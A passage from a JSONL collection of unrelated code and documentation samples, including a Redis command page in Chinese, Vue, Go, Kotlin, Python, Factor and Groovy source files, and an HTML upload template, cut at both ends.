\"prob1\"\n type: \"Softmax\"\n bottom: \"conv4-1\"\n top: \"prob1\"\n}\n"} -{"text": "USING: kernel math math.primes.factors sequences ;\nIN: rosettacode.perfect-numbers\n\n: perfect? ( n -- ? ) [ divisors sum ] [ 2 * ] bi = ;\n"} -{"text": "\n
    \n
    \n
    \n
    \n
    \n
    \n

    \n Plik tokens allow you to upload files without source IP restriction.\n

      \n
    • \n Tokens can only be generated from a valid source IP.\n
      • \n
    • \n You can save a token to the local storage of your web browser\n by clicking the remember button.\n
      • \n
    • \n If you are using the command line client\n you can use a token by adding a Token = \"xxxx\" line to your ~/.plikrc file.\n
      • \n
    • \n You can list all uploads owned by a token with the browse button.\n
      • \n
    \n

    \n
    \n
    \n
    \n
    \n
    \n \n \n
    \n \n
    \n
    \n
    \n

    \n\n
    \n \n
    \n \n
    \n \n
    \n \n
    \n \n
    \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n\n
    \n
    \n
    \n
    \n
    \n \n {{ upload.id }}\n
    \n \n uploaded : {{ upload.uploadDate * 1000 | date:'medium' }}\n
    \n \n expire : {{ upload.ttl == -1 ? 'never expire' : (upload.uploadDate + upload.ttl) * 1000\n |\u00a0date:'medium' }}\n
    \n
    \n
    \n {{ file.fileName }}\n \n {{ humanReadableSize(file.fileSize) }}\n \n
    \n
    \n
    \n \n \n
    \n
    \n
    \n
    \n
    "} -{"text": "\n\n\n\n \n\n \n \n \n \n INCRBYFLOAT key increment — Redis \u547d\u4ee4\u53c2\u8003\n \n\n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n\n \n \n \n \n \n \n \n\n\n\n\n \n
    \n\n \n \n\n
    \n\n \n \n\n\n
    \n \n
    \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
    \n\n \n\n \n
    \n
    \n
    \n
    \n \n
    \n

    INCRBYFLOAT key increment\u00b6

    \n
    \n
    \n
    \u53ef\u7528\u7248\u672c\uff1a >= 2.6.0
    \n
    \u65f6\u95f4\u590d\u6742\u5ea6\uff1a O(1)
    \n
    \n
    \n

    \u4e3a\u952e key \u50a8\u5b58\u7684\u503c\u52a0\u4e0a\u6d6e\u70b9\u6570\u589e\u91cf increment \u3002

    \n

    \u5982\u679c\u952e key \u4e0d\u5b58\u5728\uff0c\n\u90a3\u4e48 INCRBYFLOAT \u4f1a\u5148\u5c06\u952e key \u7684\u503c\u8bbe\u4e3a 0 \uff0c\n\u7136\u540e\u518d\u6267\u884c\u52a0\u6cd5\u64cd\u4f5c\u3002

    \n

    \u5982\u679c\u547d\u4ee4\u6267\u884c\u6210\u529f\uff0c\n\u90a3\u4e48\u952e key \u7684\u503c\u4f1a\u88ab\u66f4\u65b0\u4e3a\u6267\u884c\u52a0\u6cd5\u8ba1\u7b97\u4e4b\u540e\u7684\u65b0\u503c\uff0c\n\u5e76\u4e14\u65b0\u503c\u4f1a\u4ee5\u5b57\u7b26\u4e32\u7684\u5f62\u5f0f\u8fd4\u56de\u7ed9\u8c03\u7528\u8005\u3002

    \n

    \u65e0\u8bba\u662f\u952e key \u7684\u503c\u8fd8\u662f\u589e\u91cf increment \uff0c\n\u90fd\u53ef\u4ee5\u4f7f\u7528\u50cf 2.0e7 \u3001 3e5 \u3001 90e-2 \u90a3\u6837\u7684\u6307\u6570\u7b26\u53f7(exponential notation)\u6765\u8868\u793a\uff0c\n\u4f46\u662f\uff0c\n\u6267\u884c INCRBYFLOAT \u547d\u4ee4\u4e4b\u540e\u7684\u503c\u603b\u662f\u4ee5\u540c\u6837\u7684\u5f62\u5f0f\u50a8\u5b58\uff0c\n\u4e5f\u5373\u662f\uff0c\n\u5b83\u4eec\u603b\u662f\u7531\u4e00\u4e2a\u6570\u5b57\uff0c\n\u4e00\u4e2a\uff08\u53ef\u9009\u7684\uff09\u5c0f\u6570\u70b9\u548c\u4e00\u4e2a\u4efb\u610f\u957f\u5ea6\u7684\u5c0f\u6570\u90e8\u5206\u7ec4\u6210\uff08\u6bd4\u5982 3.14 \u3001 69.768 \uff0c\u8bf8\u5982\u6b64\u7c7b)\uff0c\n\u5c0f\u6570\u90e8\u5206\u5c3e\u968f\u7684 0 \u4f1a\u88ab\u79fb\u9664\uff0c\n\u5982\u679c\u53ef\u80fd\u7684\u8bdd\uff0c\n\u547d\u4ee4\u8fd8\u4f1a\u5c06\u6d6e\u70b9\u6570\u8f6c\u6362\u4e3a\u6574\u6570\uff08\u6bd4\u5982 3.0 \u4f1a\u88ab\u4fdd\u5b58\u6210 3 \uff09\u3002

    \n

    \u6b64\u5916\uff0c\n\u65e0\u8bba\u52a0\u6cd5\u8ba1\u7b97\u6240\u5f97\u7684\u6d6e\u70b9\u6570\u7684\u5b9e\u9645\u7cbe\u5ea6\u6709\u591a\u957f\uff0c\nINCRBYFLOAT \u547d\u4ee4\u7684\u8ba1\u7b97\u7ed3\u679c\u6700\u591a\u53ea\u4fdd\u7559\u5c0f\u6570\u70b9\u7684\u540e\u5341\u4e03\u4f4d\u3002

    \n

    \u5f53\u4ee5\u4e0b\u4efb\u610f\u4e00\u4e2a\u6761\u4ef6\u53d1\u751f\u65f6\uff0c\n\u547d\u4ee4\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\uff1a

    \n
      \n

    • \u952e key \u7684\u503c\u4e0d\u662f\u5b57\u7b26\u4e32\u7c7b\u578b(\u56e0\u4e3a Redis \u4e2d\u7684\u6570\u5b57\u548c\u6d6e\u70b9\u6570\u90fd\u4ee5\u5b57\u7b26\u4e32\u7684\u5f62\u5f0f\u4fdd\u5b58\uff0c\u6240\u4ee5\u5b83\u4eec\u90fd\u5c5e\u4e8e\u5b57\u7b26\u4e32\u7c7b\u578b\uff09\uff1b

      • \n

    • \u952e key \u5f53\u524d\u7684\u503c\u6216\u8005\u7ed9\u5b9a\u7684\u589e\u91cf increment \u4e0d\u80fd\u88ab\u89e3\u91ca(parse)\u4e3a\u53cc\u7cbe\u5ea6\u6d6e\u70b9\u6570\u3002

      • \n
    \n
    \n

    \u8fd4\u56de\u503c\u00b6

    \n

    \u5728\u52a0\u4e0a\u589e\u91cf increment \u4e4b\u540e\uff0c\n\u952e key \u7684\u503c\u3002

    \n
    \n
    \n

    \u4ee3\u7801\u793a\u4f8b\u00b6

    \n
    redis> GET decimal\n"3.0"\n\nredis> INCRBYFLOAT decimal 2.56\n"5.56"\n\nredis> GET decimal\n"5.56"\n
    \n
    \n
    \n
    \n\n\n
    \n\n

    \n \u8ba8\u8bba\n \u00b6\n

    \n\n
    \n \n \n comments powered by Disqus\n
    \n\n\n
    \n \n
    \n \n\n
    \n
    \n\n
    \n\n
    \n \n\n\n \n\n \n \n \n \n\n \n\n"} -{"text": "import Vue from 'vue'\nimport VueRouter from 'vue-router'\nimport Home from '../views/Home.vue'\n\nVue.use(VueRouter)\n\nconst routes = [\n {\n path: '/',\n name: 'home',\n component: Home\n },\n {\n path: '/about',\n name: 'about',\n // route level code-splitting\n // this generates a separate chunk (about.[hash].js) for this route\n // which is lazy-loaded when the route is visited.\n component: () => import(/* webpackChunkName: \"about\" */ '../views/About.vue')\n }\n]\n\nconst router = new VueRouter({\n routes\n})\n\nexport default router\n"} -{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Simulator tests.\n\nExample on how to load different things with the simulators. This example is still in an experimental phase. For\nnow, only Bullet is fully-supported. We are working on the other ones, especially the Mujoco simulator.\n- Bullet: OK\n- Raisim: OK (todo: for collision bodies, it only accepts OBJ files)\n- MuJoCo: OK (todo: control still missing)\n- DART: OK, but capsules don't have collision shapes... (todo: fix some URDFs)\n- VREP: Not implemented yet + problem when importing PyRep with pybullet. Also, need to figure out how to call the\n 'loadURDF' plugin.\n- Isaac: not available yet.\n\"\"\"\n\nimport os\nfrom itertools import count\n\nfrom pyrobolearn.simulators.bullet import Bullet\nfrom pyrobolearn.simulators.raisim import Raisim\nfrom pyrobolearn.simulators.dart import Dart\nfrom pyrobolearn.simulators.mujoco import Mujoco\n# from pyrobolearn.simulators.vrep import VREP # Problem when importing PyRep with Pybullet\n# from pyrobolearn.simulators.isaac import Isaac # Not available yet\n\n\nsim = Bullet(render=True)\n# sim = Raisim(render=True)\n# sim = Dart(render=True)\n# sim = Mujoco(render=True)\n# sim = VREP(render=True)\n# sim = Isaac(render=True)\nprint(\"Gravity: {}\".format(sim.get_gravity()))\n\n# load floor\nfloor = sim.load_floor(dimension=20)\n\n# create box\nbox = sim.create_primitive_object(sim.GEOM_BOX, position=(0, 0, 2), mass=1, rgba_color=(1, 0, 0, 1))\nsphere = sim.create_primitive_object(sim.GEOM_SPHERE, position=(2, 2, 2), mass=1, rgba_color=(0, 1, 0, 1))\ncylinder = sim.create_primitive_object(sim.GEOM_CYLINDER, position=(0, 2, 2), mass=1)\ncapsule = sim.create_primitive_object(sim.GEOM_CAPSULE, position=(0, -2, 2), mass=1, rgba_color=(0, 0, 1, 1),\n radius=0.5, height=0.5)\n\n# load robot\nurdf_path = os.path.dirname(os.path.abspath(__file__)) + '/../../pyrobolearn/robots/urdfs/'\n# path = urdf_path + 'rrbot/rrbot.urdf'\n# path = urdf_path + 'jaco/jaco.urdf'\n# path = urdf_path + 'kuka/kuka_iiwa/iiwa14.urdf'\n# path = urdf_path + 'hyq2max/hyq2max.urdf'\npath = urdf_path + 'anymal/anymal.urdf'\n# path = urdf_path + 'centauro/centauro_stick.urdf'\n\nrobot = sim.load_urdf(path, position=(3, -3, 2), use_fixed_base=False)\n\n# perform step\nfor t in count():\n sim.step(sleep_time=sim.dt)\n"} -{"text": "/**\n * Gets the first element of `array`.\n *\n * @static\n * @memberOf _\n * @since 0.1.0\n * @alias first\n * @category Array\n * @param {Array} array The array to query.\n * @returns {*} Returns the first element of `array`.\n * @example\n *\n * _.head([1, 2, 3]);\n * // => 1\n *\n * _.head([]);\n * // => undefined\n */\nfunction head(array) {\n return (array && array.length) ? array[0] : undefined;\n}\n\nmodule.exports = head;\n"} -{"text": "/*\n * Copyright 2019 Jeremy Jamet / Kunzisoft.\n *\n * This file is part of KeePassDX.\n *\n * KeePassDX is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * KeePassDX is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with KeePassDX. If not, see .\n *\n */\npackage com.kunzisoft.keepass.settings\n\nimport android.content.Context\nimport android.os.Bundle\nimport androidx.preference.Preference\nimport androidx.preference.PreferenceFragmentCompat\nimport com.kunzisoft.keepass.R\nimport com.kunzisoft.keepass.database.element.Database\n\nclass MainPreferenceFragment : PreferenceFragmentCompat() {\n\n private var mCallback: Callback? = null\n\n override fun onAttach(context: Context) {\n super.onAttach(context)\n\n if (context is Callback) {\n mCallback = context\n } else {\n throw IllegalStateException(\"Owner must implement \" + Callback::class.java.name)\n }\n }\n\n override fun onDetach() {\n mCallback = null\n super.onDetach()\n }\n\n override fun onCreatePreferences(savedInstanceState: Bundle?, rootKey: String?) {\n setPreferencesFromResource(R.xml.preferences, rootKey)\n\n // add listeners for non-default actions\n findPreference(getString(R.string.settings_app_key))?.apply {\n onPreferenceClickListener = Preference.OnPreferenceClickListener {\n mCallback?.onNestedPreferenceSelected(NestedSettingsFragment.Screen.APPLICATION)\n false\n }\n }\n\n findPreference(getString(R.string.settings_form_filling_key))?.apply {\n onPreferenceClickListener = Preference.OnPreferenceClickListener {\n mCallback?.onNestedPreferenceSelected(NestedSettingsFragment.Screen.FORM_FILLING)\n false\n }\n }\n\n findPreference(getString(R.string.settings_advanced_unlock_key))?.apply {\n onPreferenceClickListener = Preference.OnPreferenceClickListener {\n mCallback?.onNestedPreferenceSelected(NestedSettingsFragment.Screen.ADVANCED_UNLOCK)\n false\n }\n }\n\n findPreference(getString(R.string.settings_appearance_key))?.apply {\n onPreferenceClickListener = Preference.OnPreferenceClickListener {\n mCallback?.onNestedPreferenceSelected(NestedSettingsFragment.Screen.APPEARANCE)\n false\n }\n }\n\n findPreference(getString(R.string.settings_database_key))?.apply {\n onPreferenceClickListener = Preference.OnPreferenceClickListener {\n mCallback?.onNestedPreferenceSelected(NestedSettingsFragment.Screen.DATABASE)\n false\n }\n if (!Database.getInstance().loaded) {\n isEnabled = false\n }\n }\n\n findPreference(getString(R.string.settings_database_security_key))?.apply {\n onPreferenceClickListener = Preference.OnPreferenceClickListener {\n mCallback?.onNestedPreferenceSelected(NestedSettingsFragment.Screen.DATABASE_SECURITY)\n false\n }\n }\n\n findPreference(getString(R.string.settings_database_credentials_key))?.apply {\n onPreferenceClickListener = Preference.OnPreferenceClickListener {\n mCallback?.onNestedPreferenceSelected(NestedSettingsFragment.Screen.DATABASE_MASTER_KEY)\n false\n }\n }\n }\n\n interface Callback {\n fun onNestedPreferenceSelected(key: NestedSettingsFragment.Screen)\n }\n}"} -{"text": "package utils\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"syscall\"\n\n\t\"github.com/alibaba/pouch/pkg/log\"\n)\n\n// If implements ternary operator. if cond is true return v1, or return v2 instead.\nfunc If(cond bool, v1, v2 interface{}) interface{} {\n\tif cond {\n\t\treturn v1\n\t}\n\treturn v2\n}\n\n// FormatSize format image size to B/KB/MB/GB\nfunc FormatSize(size int64) string {\n\tif size <= 0 {\n\t\treturn \"0.00 B\"\n\t}\n\t// we consider image size less than 1024 GB\n\tsuffixes := []string{\"B\", \"KB\", \"MB\", \"GB\"}\n\n\tvar count int\n\tformattedSize := float64(size)\n\tfor count = 0; count < 3; count++ {\n\t\tif formattedSize < 1024 {\n\t\t\tbreak\n\t\t}\n\t\tformattedSize /= 1024\n\t}\n\n\treturn fmt.Sprintf(\"%.2f %s\", formattedSize, suffixes[count])\n}\n\n// TruncateID is used to transfer image ID from digest to short ID.\nfunc TruncateID(id string) string {\n\tvar shortLen = 12\n\n\tid = strings.TrimPrefix(id, \"sha256:\")\n\tif len(id) > shortLen {\n\t\treturn id[:shortLen]\n\t}\n\treturn id\n}\n\n// Merge merge object from src to dest, dest object should be pointer, only accept struct type, notice: src will overwrite dest's data\nfunc Merge(src, dest interface{}) error {\n\tif src == nil || dest == nil {\n\t\treturn fmt.Errorf(\"merged object can not be nil\")\n\t}\n\n\tdestType := reflect.TypeOf(dest)\n\tif destType.Kind() != reflect.Ptr {\n\t\treturn fmt.Errorf(\"merged object not pointer\")\n\t}\n\tdestVal := reflect.ValueOf(dest).Elem()\n\n\tif destVal.Kind() != reflect.Struct {\n\t\treturn fmt.Errorf(\"merged object type should be struct\")\n\t}\n\n\tsrcVal := reflect.ValueOf(src)\n\tif srcVal.Kind() == reflect.Ptr {\n\t\tsrcVal = srcVal.Elem()\n\t}\n\tif destVal.Type() != srcVal.Type() {\n\t\treturn fmt.Errorf(\"src and dest object type must same\")\n\t}\n\n\treturn doMerge(srcVal, destVal)\n}\n\n// doMerge, begin merge action, note that we will merge slice type,\n// but we do not validate if slice has duplicate values.\nfunc doMerge(src, dest reflect.Value) error {\n\tif !src.IsValid() || !dest.CanSet() || isEmptyValue(src) {\n\t\treturn nil\n\t}\n\n\tswitch dest.Kind() {\n\tcase reflect.Struct:\n\t\tfor i := 0; i < dest.NumField(); i++ {\n\t\t\tif err := doMerge(src.Field(i), dest.Field(i)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\tcase reflect.Map:\n\t\tfor _, key := range src.MapKeys() {\n\t\t\tsrcElem := src.MapIndex(key)\n\t\t\tif !srcElem.IsValid() || isEmptyValue(srcElem) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif dest.IsNil() {\n\t\t\t\tdest.Set(reflect.MakeMap(dest.Type()))\n\t\t\t}\n\t\t\tdest.SetMapIndex(key, srcElem)\n\t\t}\n\n\tcase reflect.Slice:\n\t\tdest.Set(reflect.AppendSlice(dest, src))\n\n\tdefault:\n\t\tdest.Set(src)\n\t}\n\n\treturn nil\n}\n\n// From src/pkg/encoding/json,\n// we recognize nullable values like `false` `0` as not empty.\nfunc isEmptyValue(v reflect.Value) bool {\n\tswitch v.Kind() {\n\tcase reflect.Array, reflect.Map, reflect.Slice, reflect.String:\n\t\treturn v.Len() == 0\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\treturn v.Int() == 0\n\tcase reflect.Uintptr:\n\t\treturn v.Uint() == 0\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn v.Float() == 0\n\tcase reflect.Interface, reflect.Ptr:\n\t\treturn v.IsNil()\n\t}\n\treturn false\n}\n\n// DeDuplicate make a slice with no duplicated elements.\nfunc DeDuplicate(input []string) []string {\n\tif input == nil {\n\t\treturn nil\n\t}\n\tresult := []string{}\n\tinternal := map[string]struct{}{}\n\tfor _, value := range input {\n\t\tif _, exist := internal[value]; !exist {\n\t\t\tinternal[value] = struct{}{}\n\t\t\tresult = append(result, value)\n\t\t}\n\t}\n\treturn result\n}\n\n// FormatErrMsgFunc is a function which used by CombineErrors to\n// format error message\ntype FormatErrMsgFunc func(idx int, err error) (string, error)\n\n// CombineErrors is a function which used by Inspect to merge multiple errors\n// into one error.\nfunc CombineErrors(errs []error, formatErrMsg FormatErrMsgFunc) error {\n\tvar errMsgs []string\n\tfor idx, err := range errs {\n\t\tformattedErrMsg, formatError := formatErrMsg(idx, err)\n\t\tif formatError != nil {\n\t\t\treturn fmt.Errorf(\"Combine errors error: %s\", formatError.Error())\n\t\t}\n\t\terrMsgs = append(errMsgs, formattedErrMsg)\n\t}\n\tcombinedErrMsg := strings.Join(errMsgs, \"\\n\")\n\treturn errors.New(combinedErrMsg)\n}\n\n// Contains check if a interface in a interface slice.\nfunc Contains(input []interface{}, value interface{}) (bool, error) {\n\tif value == nil || len(input) == 0 {\n\t\treturn false, nil\n\t}\n\n\tif reflect.TypeOf(input[0]) != reflect.TypeOf(value) {\n\t\treturn false, fmt.Errorf(\"interface type not equals\")\n\t}\n\n\tswitch v := value.(type) {\n\tcase int, int64, float64, string:\n\t\tfor _, v := range input {\n\t\t\tif v == value {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t}\n\t\treturn false, nil\n\t// TODO: add more types\n\tdefault:\n\t\tr := reflect.TypeOf(v)\n\t\treturn false, fmt.Errorf(\"Not support: %s\", r)\n\t}\n}\n\n// StringInSlice checks if a string in the slice.\nfunc StringInSlice(input []string, str string) bool {\n\tif str == \"\" || len(input) == 0 {\n\t\treturn false\n\t}\n\n\tresult := make([]interface{}, len(input))\n\tfor i, v := range input {\n\t\tresult[i] = v\n\t}\n\n\texists, _ := Contains(result, str)\n\treturn exists\n}\n\n// checkPidfileStatus check if pidfile exist and validate pid exist in /proc, but not validate whether process is running.\nfunc checkPidfileStatus(path string) error {\n\tif pidByte, err := ioutil.ReadFile(path); err == nil {\n\t\tif _, err := os.Stat(\"/proc/\" + string(pidByte)); err == nil {\n\t\t\treturn fmt.Errorf(\"found daemon pid %s, check it status\", string(pidByte))\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// NewPidfile checks if pidfile exist, and saves daemon pid.\nfunc NewPidfile(path string) error {\n\tif err := checkPidfileStatus(path); err != nil {\n\t\treturn err\n\t}\n\treturn ioutil.WriteFile(path, []byte(fmt.Sprintf(\"%d\", os.Getpid())), 0644)\n}\n\n// IsProcessAlive returns true if process with a given pid is running.\nfunc IsProcessAlive(pid int) bool {\n\terr := syscall.Kill(pid, syscall.Signal(0))\n\tif err == nil || err == syscall.EPERM {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\n// KillProcess force-stops a process.\nfunc KillProcess(pid int) {\n\tsyscall.Kill(pid, syscall.SIGKILL)\n}\n\n// SetOOMScore sets process's oom_score value\n// The higher the value of oom_score of any process, the higher is its\n// likelihood of getting killed by the OOM Killer in an out-of-memory situation.\nfunc SetOOMScore(pid, score int) error {\n\tf, err := os.OpenFile(fmt.Sprintf(\"/proc/%d/oom_score_adj\", pid), os.O_WRONLY, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = f.WriteString(strconv.Itoa(score))\n\tf.Close()\n\treturn err\n}\n\n// ConvertKVStringsToMap converts [\"key=value\"] into {\"key\":\"value\"}\nfunc ConvertKVStringsToMap(values []string) (map[string]string, error) {\n\tkvs := make(map[string]string, len(values))\n\n\tfor _, value := range values {\n\t\tterms := strings.SplitN(value, \"=\", 2)\n\t\tif len(terms) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"input %s must have format of key=value\", value)\n\t\t}\n\t\tkvs[terms[0]] = terms[1]\n\t}\n\treturn kvs, nil\n}\n\n// ConvertKVStrToMapWithNoErr converts input strings and converts them all in a map,\n// When there is invalid input, the dealing procedure ignores the error and log a warning message.\nfunc ConvertKVStrToMapWithNoErr(values []string) map[string]string {\n\tkvs := make(map[string]string, len(values))\n\tfor _, value := range values {\n\t\tk, v, err := ConvertStrToKV(value)\n\t\tif err != nil {\n\t\t\tlog.With(nil).Warnf(\"input %s should have a format of key=value\", value)\n\t\t\tcontinue\n\t\t}\n\t\tkvs[k] = v\n\t}\n\treturn kvs\n}\n\n// ConvertStrToKV converts an string into key and value string without returning an error.\n// For example, for input \"a=b\", it should return \"a\", \"b\".\nfunc ConvertStrToKV(input string) (string, string, error) {\n\tresults := strings.SplitN(input, \"=\", 2)\n\tif len(results) != 2 {\n\t\treturn \"\", \"\", fmt.Errorf(\"input string %s must have format key=value\", input)\n\t}\n\treturn results[0], results[1], nil\n}\n\n// IsFileExist checks if file is exits on host.\nfunc IsFileExist(file string) bool {\n\tif _, err := os.Stat(file); err == nil {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\n// StringSliceEqual compares two string slice, ignore the order.\n// If all items in the two string slice are equal, this function will return true\n// even though there may have duplicate elements in the slice, otherwise reture false.\nfunc StringSliceEqual(s1, s2 []string) bool {\n\tif s1 == nil && s2 == nil {\n\t\treturn true\n\t}\n\n\tif s1 == nil || s2 == nil {\n\t\treturn false\n\t}\n\n\tif len(s1) != len(s2) {\n\t\treturn false\n\t}\n\n\t// mapKeys to remember keys that exist in s1\n\tmapKeys := map[string]int{}\n\n\t// first list all items in s1\n\tfor _, v := range s1 {\n\t\tmapKeys[v]++\n\t}\n\n\t// second list all items in s2\n\tfor _, v := range s2 {\n\t\tmapKeys[v]--\n\n\t\t// we may get -1 in two cases:\n\t\t// 1. the item exists in the s2, but not in the s1;\n\t\t// 2. the item exists both in s1 and s2, but has different copies.\n\t\t// Under the condition that the length of slices are equals,\n\t\t// so we can quickly return false.\n\t\tif mapKeys[v] < 0 {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\n// MergeMap merges the m2 into m1, if it has the same keys, m2 will overwrite m1.\nfunc MergeMap(m1 map[string]interface{}, m2 map[string]interface{}) (map[string]interface{}, error) {\n\tif m1 == nil && m2 == nil {\n\t\treturn nil, fmt.Errorf(\"all of maps are nil\")\n\t}\n\n\tif m1 == nil {\n\t\treturn m2, nil\n\t}\n\n\tif m2 == nil {\n\t\treturn m1, nil\n\t}\n\n\tfor k, v := range m2 {\n\t\tm1[k] = v\n\t}\n\n\treturn m1, nil\n}\n\n// StringDefault return default value if s is empty, otherwise return s.\nfunc StringDefault(s string, val string) string {\n\tif s != \"\" {\n\t\treturn s\n\t}\n\treturn val\n}\n\n// ToStringMap changes the map[string]interface{} to map[string]string,\n// If the interface is not string, it will be ignore.\nfunc ToStringMap(in map[string]interface{}) map[string]string {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := make(map[string]string)\n\tfor k, v := range in {\n\t\tif s, ok := v.(string); ok {\n\t\t\tout[k] = s\n\t\t}\n\t}\n\treturn out\n}\n\n// StringSliceDelete deletes the `del` string in string slice.\nfunc StringSliceDelete(in []string, del string) []string {\n\tif in == nil {\n\t\treturn nil\n\t}\n\n\tout := make([]string, 0)\n\tfor _, value := range in {\n\t\tif value != del {\n\t\t\tout = append(out, value)\n\t\t}\n\t}\n\n\treturn out\n}\n\n// ResolveHomeDir resolve a target path from home dir, home dir must not be a relative\n// path, must not be a file, create directory if not exist, returns the target\n// directory if directory is symlink.\nfunc ResolveHomeDir(path string) (string, error) {\n\tif path == \"\" {\n\t\treturn \"\", fmt.Errorf(\"home dir should not be empty\")\n\t}\n\tif !filepath.IsAbs(path) {\n\t\treturn \"\", fmt.Errorf(\"home dir %s should be an absolute path\", path)\n\t}\n\n\t// create directory for home-dir if is not exist, or check if exist home-dir\n\t// is directory.\n\tif pinfo, err := os.Stat(path); err != nil {\n\t\tif err := os.MkdirAll(path, 0666); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to mkdir for home dir %s: %v\", path, err)\n\t\t}\n\t} else if !pinfo.Mode().IsDir() {\n\t\treturn \"\", fmt.Errorf(\"home dir %s should be directory\", path)\n\t}\n\n\trealPath, err := filepath.EvalSymlinks(path)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to acquire real path for %s: %s\", path, err)\n\t}\n\n\treturn realPath, nil\n}\n\n// MatchLabelSelector returns true if labels cover selector.\nfunc MatchLabelSelector(selector, labels map[string]string) bool {\n\tfor k, v := range selector {\n\t\tif val, ok := labels[k]; ok {\n\t\t\tif v != val {\n\t\t\t\treturn false\n\t\t\t}\n\t\t} else {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\n// ExtractIPAndPortFromAddresses extract first valid ip and port from addresses.\nfunc ExtractIPAndPortFromAddresses(addresses []string) (string, string) {\n\tfor _, addr := range addresses {\n\t\taddrParts := strings.SplitN(addr, \"://\", 2)\n\t\tif len(addrParts) != 2 {\n\t\t\tlog.With(nil).Errorf(\"invalid listening address %s: must be in format [protocol]://[address]\", addr)\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch addrParts[0] {\n\t\tcase \"tcp\":\n\t\t\thost, port, err := net.SplitHostPort(addrParts[1])\n\t\t\tif err != nil {\n\t\t\t\tlog.With(nil).Errorf(\"failed to split host and port from address: %v\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn host, port\n\t\tcase \"unix\":\n\t\t\tcontinue\n\t\tdefault:\n\t\t\tlog.With(nil).Errorf(\"only unix socket or tcp address is support\")\n\t\t}\n\t}\n\treturn \"\", \"\"\n}\n"} -{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\nimport org.apache.ofbiz.accounting.invoice.InvoiceWorker\nimport org.apache.ofbiz.base.util.Debug\nimport org.apache.ofbiz.base.util.UtilDateTime\nimport org.apache.ofbiz.base.util.UtilFormatOut\nimport org.apache.ofbiz.base.util.UtilProperties\nimport org.apache.ofbiz.entity.condition.EntityCondition\nimport org.apache.ofbiz.entity.condition.EntityOperator\nimport org.apache.ofbiz.entity.GenericValue\nimport org.apache.ofbiz.entity.util.EntityUtil\nimport org.apache.ofbiz.service.ModelService\nimport org.apache.ofbiz.service.ServiceUtil\nimport java.sql.Timestamp\n\ndef createPayment() {\n if (!security.hasEntityPermission(\"ACCOUNTING\", \"_CREATE\", parameters.userLogin) && (!security.hasEntityPermission(\"PAY_INFO\", \"_CREATE\", parameters.userLogin) && userLogin.partyId != parameters.partyIdFrom && userLogin.partyId != parameters.partyIdTo)) {\n return error(UtilProperties.getResourceBundleMap(\"AccountingUiLabels\", locale)?.AccountingCreatePaymentPermissionError)\n }\n\n GenericValue payment = makeValue(\"Payment\")\n payment.paymentId = parameters.paymentId ?: delegator.getNextSeqId(\"Payment\")\n paymentId = payment.paymentId\n parameters.statusId = parameters.statusId ?: \"PMNT_NOT_PAID\"\n\n if (parameters.paymentMethodId) {\n GenericValue paymentMethod = from(\"PaymentMethod\").where(\"paymentMethodId\", parameters.paymentMethodId).queryOne()\n if (parameters.paymentMethodTypeId != paymentMethod.paymentMethodTypeId) {\n logInfo(\"Replacing passed payment method type [\" + parameters.paymentMethodTypeId + \"] with payment method type [\" + paymentMethod.paymentMethodTypeId + \"] for payment method [\" + parameters.paymentMethodId +\"]\")\n parameters.paymentMethodTypeId = paymentMethod.paymentMethodTypeId\n }\n }\n\n if (parameters.paymentPreferenceId) {\n GenericValue orderPaymentPreference = from(\"OrderPaymentPreference\").where(\"orderPaymentPreferenceId\", parameters.paymentPreferenceId).queryOne()\n parameters.paymentId = parameters.paymentId ?: orderPaymentPreference.paymentMethodId\n parameters.paymentMethodTypeId = parameters.paymentMethodTypeId ?: orderPaymentPreference.paymentMethodTypeId\n }\n\n if (!parameters.paymentMethodTypeId) {\n return error(UtilProperties.getResourceBundleMap(\"AccountingUiLabels\", locale)?.AccountingPaymentMethodIdPaymentMethodTypeIdNullError)\n }\n\n payment.setNonPKFields(parameters)\n payment.effectiveDate = payment.effectiveDate ?: UtilDateTime.nowTimestamp()\n delegator.create(payment)\n Map result = success()\n result.paymentId = paymentId\n return result\n}\ndef getInvoicePaymentInfoList() {\n // Create a list with information on payment due dates and amounts for the 